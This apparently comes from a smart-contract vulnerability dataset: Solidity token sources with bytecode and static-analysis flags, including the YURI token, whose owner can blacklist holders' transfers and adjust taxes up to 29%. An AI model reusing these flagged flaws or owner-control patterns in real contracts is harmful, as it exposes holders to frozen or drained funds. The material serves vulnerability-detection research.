address _to, uint256 _value) external returns (bool success) { balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value, empty); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) external returns (bool success) { allowance[msg.sender][_spender] = 0; // mitigate the race condition allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner Address The address which owns the funds. * @param _spender Address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) external constant returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Function to distribute tokens to the list of addresses by the provided uniform amount * @param _addresses List of addresses * @param _amount Uniform amount of tokens */ function multiTransfer(address[] _addresses, uint256 _amount) public returns (bool) { uint256 totalAmount = _amount.mul(_addresses.length); require(balances[msg.sender] >= totalAmount); for (uint j = 0; j < _addresses.length; j++) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_addresses[j]] = balances[_addresses[j]].add(_amount); emit Transfer(msg.sender, _addresses[j], _amount, empty); } return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided various amount * @param _addresses List of addresses * @param _amounts List of token amounts */ function multiTransfer(address[] _addresses, uint256[] _amounts) public returns (bool) { uint256 totalAmount = 0; for(uint j = 0; j < _addresses.length; j++){ totalAmount = totalAmount.add(_amounts[j]); } require(balances[msg.sender] >= totalAmount); for (j = 0; j < _addresses.length; j++) { balances[msg.sender] = balances[msg.sender].sub(_amounts[j]); balances[_addresses[j]] = balances[_addresses[j]].add(_amounts[j]); emit Transfer(msg.sender, _addresses[j], _amounts[j], empty); } return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public { _burn(msg.sender, _value); } function _burn(address _owner, uint256 _value) internal { require(_value <= balances[_owner]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_owner] = balances[_owner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_owner, _value); emit Transfer(_owner, address(0), _value, empty); } function () payable { revert(); } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac5780631e89d545146101d357806323b872dd1461026157806327e235e31461028b578063313ce567146102ac57806342966c68146102d757806370a08231146102f15780638da5cb5b1461031257806395d89b4114610343578063a16a317914610358578063a9059cbb146103af578063be45fd62146103d3578063dd62ed3e1461043c578063f2fde38b14610463575b600080fd5b3480156100f657600080fd5b506100ff610484565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a0360043516602435610517565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c161057e565b60408051918252519081900360200190f35b3480156101df57600080fd5b506040805160206004803580820135838102808601850190965280855261019895369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506105849650505050505050565b34801561026d57600080fd5b50610198600160a060020a03600435811690602435166044356107b7565b34801561029757600080fd5b506101c1600160a060020a0360043516610930565b3480156102b857600080fd5b506102c1610942565b6040805160ff9092168252519081900360200190f35b3480156102e357600080fd5b506102ef60043561094b565b005b3480156102fd57600080fd5b506101c1600160a060020a036004351661096f565b34801561031e57600080fd5b5061032761098a565b60408051600160a060020a039092168252519081900360200190f35b34801561034f57600080fd5b506100ff610999565b34801561036457600080fd5b50604080516020600480358082013583810280860185019096528085526101989536959394602494938501929182918501908490808284375094975050933594506109fa9350505050565b3480156103bb57600080fd5b50610198600160a060020a0360043516602435610b8c565b3480156103df57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610198948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610cd19650505050505050565b34801561044857600080fd5b506101c1600160a060020a0360043581169060243516610cfe565b34801561046f57600080fd5b506102ef600160a060020a0360043516610d29565b60028054604080516020601f600019610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561050d5780601f106104e25761010080835404028352916020019161050d565b820191906000526020600020905b8154815290600101906020018083116104f057829003601f168201915b5050505050905090565b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60055490565b600080805b84518110156105c4576105ba84828151811015156105a357fe5b60209081029091010151839063ffffffff610d4916565b9150600101610589565b336000908152600660205260409020548211156105e057600080fd5b5060005b84518110156107ac5761062684828151811015156105fe57fe5b602090810290910181015133600090815260069092526040909120549063ffffffff610d5616565b3360009081526006602052604090205583516106939085908390811061064857fe5b9060200190602002015160066000888581518110151561066457fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610d4916565b6006600087848151811015156106a557fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002081905550600060405180828054600181600116156101000203166002900480156107305780601f1061070e576101008083540402835291820191610730565b820191906000526020600020905b81548152906001019060200180831161071c575b50509150506040518091039020858281518110151561074b57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611290833981519152878581518110151561078557fe5b906020019060200201516040518082815260200191505060405180910390a46001016105e4565b506001949350505050565b600160a060020a0383166000908152600660205260408120546107e0908363ffffffff610d5616565b600160a060020a038086166000908152600660205260408082209390935590851681522054610815908363ffffffff610d4916565b600160a060020a038085166000908152600660209081526040808320949094559187168152600782528281203382529091522054610859908363ffffffff610d5616565b600160a060020a03851660009081526007602090815260408083203384529091528082209290925590518154819083906002600019610100600184161502019091160480156108df5780601f106108bd5761010080835404028352918201916108df565b820191906000526020600020905b8154815290600101906020018083116108cb575b5050915050604051809103902083600160a060020a031685600160a060020a0316600080516020611290833981519152856040518082815260200191505060405180910390a45060015b9392505050565b60066020526000908152604090205481565b60045460ff1690565b600154600160a060020a0316331461096257600080fd5b61096c3382610d68565b50565b600160a060020a031660009081526006602052604090205490565b600154600160a060020a031681565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561050d5780601f106104e25761010080835404028352916020019161050d565b6000806000610a13855185610ec190919063ffffffff16565b33600090815260066020526040902054909250821115610a3257600080fd5b5060005b84518110156107ac5733600090815260066020526040902054610a5f908563ffffffff610d5616565b3360009081526006602081905260408220929092558651610a8a928792909189908690811061066457fe5b600660008784815181101515610a9c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000208190555060006040518082805460018160011615610100020316600290048015610b275780601f10610b05576101008083540402835291820191610b27565b820191906000526020600020905b815481529060010190602001808311610b13575b505091505060405180910390208582815181101515610b4257fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611290833981519152876040518082815260200191505060405180910390a4600101610a36565b6000610b9783610eea565b15610c3a5760008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152610c339387938793830182828015610c295780601f10610bfe57610100808354040283529160200191610c29565b820191906000526020600020905b815481529060010190602001808311610c0c57829003601f168201915b5050505050610ef2565b9050610578565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152610c339387938793830182828015610cc75780601f10610c9c57610100808354040283529160200191610cc7565b820191906000526020600020905b815481529060010190602001808311610caa57829003601f168201915b50505050506110f6565b6000610cdc84610eea565b15610cf357610cec848484610ef2565b9050610929565b610cec8484846110f6565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600154600160a060020a03163314610d4057600080fd5b61096c81611211565b8181018281101561057857fe5b600082821115610d6257fe5b50900390565b600160a060020a038216600090815260066020526040902054811115610d8d57600080fd5b600160a060020a038216600090815260066020526040902054610db6908263ffffffff610d5616565b600160a060020a038316600090815260066020526040902055600554610de2908263ffffffff610d5616565b600555604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260006040518082805460018160011615610100020316600290048015610e815780601f10610e5f576101008083540402835291820191610e81565b820191906000526020600020905b815481529060010190602001808311610e6d575b505060408051918290038220858352905190935060009250600160a060020a03861691600080516020611290833981519152919081900360200190a45050565b6000821515610ed257506000610578565b50818102818382811515610ee257fe5b041461057857fe5b6000903b1190565b336000908152600660205260408120548190841115610f1057600080fd5b33600090815260066020526040902054610f30908563ffffffff610d5616565b3360009081526006602052604080822092909255600160a060020a03871681522054610f62908563ffffffff610d4916565b600160a060020a03861660008181526006602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015611000578181015183820152602001610fe8565b50505050905090810190601f16801561102d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561104e57600080fd5b505af1158015611062573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106110965780518252601f199092019160209182019101611077565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033936000805160206112908339815191529350918290030190a4506001949350505050565b3360009081526006602052604081205483111561111257600080fd5b33600090815260066020526040902054611132908463ffffffff610d5616565b3360009081526006602052604080822092909255600160a060020a03861681522054611164908463ffffffff610d4916565b600160a060020a0385166000908152600660209081526040918290209290925551835184928291908401908083835b602083106111b25780518252601f199092019160209182019101611193565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033936000805160206112908339815191529350918290030190a45060019392505050565b600160a060020a038116151561122657600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a7230582061548d00e0159be2d3c0c5dea9f1c4a01bee3e35be1d048d911bb70aeda09ccb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,266
0x47305f341940ca35aba5fadeda5639e1212738dd
/** *Submitted for verification at Etherscan.io on 2022-03-09 */ /* $YURI The Power Psykick Telegram: https://t.me/yuritamaportal Web: http://yuritamatoken.com/ Twitter: https://twitter.com/Yuri_Tama_ */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract yuricontract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Yuri Tama"; string private constant _symbol = "YURI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x68D0fACC899294092888e13fC2fA53Aa8d5D7d0F); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 30) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 30) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610345578063c3c8cd8014610365578063c9567bf91461037a578063dbe8272c1461038f578063dc1052e2146103af578063dd62ed3e146103cf57600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610310578063a9059cbb1461032557600080fd5b806323b872dd116100f257806323b872dd14610215578063273123b714610235578063313ce567146102555780636fc3eaec1461027157806370a082311461028657600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a057806318160ddd146101d05780631bbae6e0146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611872565b610415565b005b34801561016857600080fd5b50604080518082019091526009815268597572692054616d6160b81b60208201525b60405161019791906118ef565b60405180910390f35b3480156101ac57600080fd5b506101c06101bb366004611780565b610466565b6040519015158152602001610197565b3480156101dc57600080fd5b50670de0b6b3a76400005b604051908152602001610197565b34801561020157600080fd5b5061015a6102103660046118aa565b61047d565b34801561022157600080fd5b506101c0610230366004611740565b6104bf565b34801561024157600080fd5b5061015a6102503660046116d0565b610528565b34801561026157600080fd5b5060405160098152602001610197565b34801561027d57600080fd5b5061015a610573565b34801561029257600080fd5b506101e76102a13660046116d0565b6105a7565b3480156102b257600080fd5b5061015a6105c9565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610197565b3480156102ef57600080fd5b506040805180820190915260048152635955524960e01b602082015261018a565b34801561031c57600080fd5b5061015a61063d565b34801561033157600080fd5b506101c0610340366004611780565b61087c565b34801561035157600080fd5b5061015a6103603660046117ab565b610889565b34801561037157600080fd5b5061015a61092d565b34801561038657600080fd5b5061015a61096d565b34801561039b57600080fd5b5061015a6103aa3660046118aa565b610b33565b3480156103bb57600080fd5b5061015a6103ca3660046118aa565b610b6b565b3480156103db57600080fd5b506101e76103ea366004611708565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104485760405162461bcd60e51b815260040161043f90611942565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610473338484610ba3565b5060015b92915050565b6000546001600160a01b031633146104a75760405162461bcd60e51b815260040161043f90611942565b662386f26fc100008111156104bc5760108190555b50565b60006104cc848484610cc7565b61051e843361051985604051806060016040528060288152602001611ac0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbe565b610ba3565b5060019392505050565b6000546001600160a01b031633146105525760405162461bcd60e51b815260040161043f90611942565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461059d5760405162461bcd60e51b815260040161043f90611942565b476104bc81610ff8565b6001600160a01b03811660009081526002602052604081205461047790611032565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260040161043f90611942565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106675760405162461bcd60e51b815260040161043f90611942565b600f54600160a01b900460ff16156106c15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072157600080fd5b505afa158015610735573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075991906116ec565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a157600080fd5b505afa1580156107b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d991906116ec565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082157600080fd5b505af1158015610835573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085991906116ec565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610473338484610cc7565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161043f90611942565b60005b8151811015610929576001600660008484815181106108e557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092181611a55565b9150506108b6565b5050565b6000546001600160a01b031633146109575760405162461bcd60e51b815260040161043f90611942565b6000610962306105a7565b90506104bc816110b6565b6000546001600160a01b031633146109975760405162461bcd60e51b815260040161043f90611942565b600e546109b79030906001600160a01b0316670de0b6b3a7640000610ba3565b600e546001600160a01b031663f305d71947306109d3816105a7565b6000806109e86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4b57600080fd5b505af1158015610a5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8491906118c2565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afb57600080fd5b505af1158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bc919061188e565b6000546001600160a01b03163314610b5d5760405162461bcd60e51b815260040161043f90611942565b601e8110156104bc57600b55565b6000546001600160a01b03163314610b955760405162461bcd60e51b815260040161043f90611942565b601e8110156104bc57600c55565b6001600160a01b038316610c055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043f565b6001600160a01b038216610c665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043f565b6001600160a01b038216610d8d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043f565b60008111610def5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043f565b6001600160a01b03831660009081526006602052604090205460ff1615610e1557600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5757506001600160a01b03821660009081526005602052604090205460ff16155b15610fae576000600955600c54600a55600f546001600160a01b038481169116148015610e925750600e546001600160a01b03838116911614155b8015610eb757506001600160a01b03821660009081526005602052604090205460ff16155b8015610ecc5750600f54600160b81b900460ff165b15610ee057601054811115610ee057600080fd5b600f546001600160a01b038381169116148015610f0b5750600e546001600160a01b03848116911614155b8015610f3057506001600160a01b03831660009081526005602052604090205460ff16155b15610f41576000600955600b54600a555b6000610f4c306105a7565b600f54909150600160a81b900460ff16158015610f775750600f546001600160a01b03858116911614155b8015610f8c5750600f54600160b01b900460ff165b15610fac57610f9a816110b6565b478015610faa57610faa47610ff8565b505b505b610fb983838361125b565b505050565b60008184841115610fe25760405162461bcd60e51b815260040161043f91906118ef565b506000610fef8486611a3e565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610929573d6000803e3d6000fd5b60006007548211156110995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043f565b60006110a3611266565b90506110af8382611289565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116057600080fd5b505afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906116ec565b816001815181106111b957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111df9130911684610ba3565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611218908590600090869030904290600401611977565b600060405180830381600087803b15801561123257600080fd5b505af1158015611246573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fb98383836112cb565b60008060006112736113c2565b90925090506112828282611289565b9250505090565b60006110af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611402565b6000806000806000806112dd87611430565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130f908761148d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133e90866114cf565b6001600160a01b0389166000908152600260205260409020556113608161152e565b61136a8483611578565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113af91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113dd8282611289565b8210156113f957505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114235760405162461bcd60e51b815260040161043f91906118ef565b506000610fef84866119ff565b600080600080600080600080600061144d8a600954600a5461159c565b925092509250600061145d611266565b905060008060006114708e8787876115f1565b919e509c509a509598509396509194505050505091939550919395565b60006110af83836040518060400160405280601e81526020017f536166654d6174683a